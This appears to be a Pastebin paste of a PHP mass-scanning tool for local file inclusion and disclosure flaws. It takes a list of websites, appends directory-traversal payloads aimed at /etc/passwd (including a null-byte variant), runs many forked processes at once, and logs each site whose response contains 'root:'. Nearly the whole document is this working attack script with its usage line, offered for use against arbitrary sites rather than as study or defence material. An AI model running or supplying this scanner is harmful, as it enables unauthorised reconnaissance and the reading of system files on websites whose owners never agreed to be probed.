egy-mast3r

LFI/LFD Scan

Aug 31st, 2014
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.57 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.  * Lfi/Lfd Scan by n4sss
  5.  * greetx -> $T4TUS
  6.  *
  7.  * http://Janissaries.org
  8.  *
  9.  *
  10.  * */
  11.  
  12.  
  13. // Executar script sem limitação de tempo
  14. set_time_limit(0);
  15.  
  16.  
  17. // função para salvar todo conteudo em um local especifico
  18. // save_content("arquivo.txt", "conteudo que vai dentro");
  19. function save_content($file, $content){
  20.     $fp = fopen($file, "a");
  21.           fwrite($fp, $content."\n");
  22.           fclose($fp);
  23.       }
  24.  
  25. // Scan dos sites e busca de lfi/lfd      
  26. function scan($uri){
  27.     global $log;
  28.     $xpl = array("../../../../../../../../../../../../etc/passwd", "../../../../../../../../../../../../etc/passwd%00");
  29.     foreach($xpl as $xpl_){
  30.         // Concat de url + ../
  31.         $uri_test = $uri.$xpl_;
  32.         print "[] SCANNING -> {$uri}\n";
  33.         $exec = @file_get_contents($uri_test);
  34.         if(!$exec) exit(0);
  35.         if(preg_match("/root:/", $exec)){
  36.             print "[+] LFI VULN FOUND -> {$uri_test}\n";
  37.             save_content($log, "{$uri_test}");
  38.         }        
  39.     }
  40. }
  41.  
  42. function main($list, $threadsn)
  43. {
  44.     $out = 0;
  45.     $thr = $threadsn;
  46.     $ini = 0;
  47.     $fin = $thr - 1;
  48.     while(1){
  49.         $childs = array();
  50.         for ($count = $ini; $count <= $fin; $count++){
  51.             if(empty($list[$count])){
  52.                 $out = 1;
  53.                 continue;
  54.             }
  55.             $pid = pcntl_fork();
  56.             if ( $pid == -1 ) {
  57.                 echo "Fork error\n";
  58.                 exit(1);
  59.             } else if ($pid) {
  60.                 array_push($childs, $pid);
  61.             } else {
  62.                 scan($list[$count]);
  63.                 exit(0);
  64.             }
  65.         }
  66.         foreach($childs as $key => $pid){
  67.             pcntl_waitpid($pid, $status);
  68.         }
  69.         if($out == 1){
  70.             return;
  71.         }
  72.         $ini = $fin + 1;
  73.         $fin = $fin + $thr;
  74.     }
  75. }
  76.  
  77. // Se não estiverem setado os parametros imprima modo de uso:
  78. if(!isset($argv[1], $argv[2], $argv[3])){
  79.     print "--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-\n";
  80.     print "               LFI/LFD SCAN BY N4SSS                \n";
  81.     print "   Use: php {$argv[0]} site_list vuln_log thread    \n";
  82.     print "   Example: php {$argv[0]} sites.txt vuln_log 100   \n";
  83.     print "--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=--=-\n";
  84.     exit(0);
  85. }else{
  86.     $site_list = array_filter(explode("\n", file_get_contents($argv[1])));
  87.     $log = trim($argv[2]);
  88.     $thread = trim($argv[3]);
  89.     main($site_list, $thread);
  90.     print "[+] FINISHED\n";
  91. }
  92. ?>
  93.  
  94.  
  95. php lfi_scan.php sites.txt log.txt thread
Advertisement
Add Comment
Please, Sign In to add comment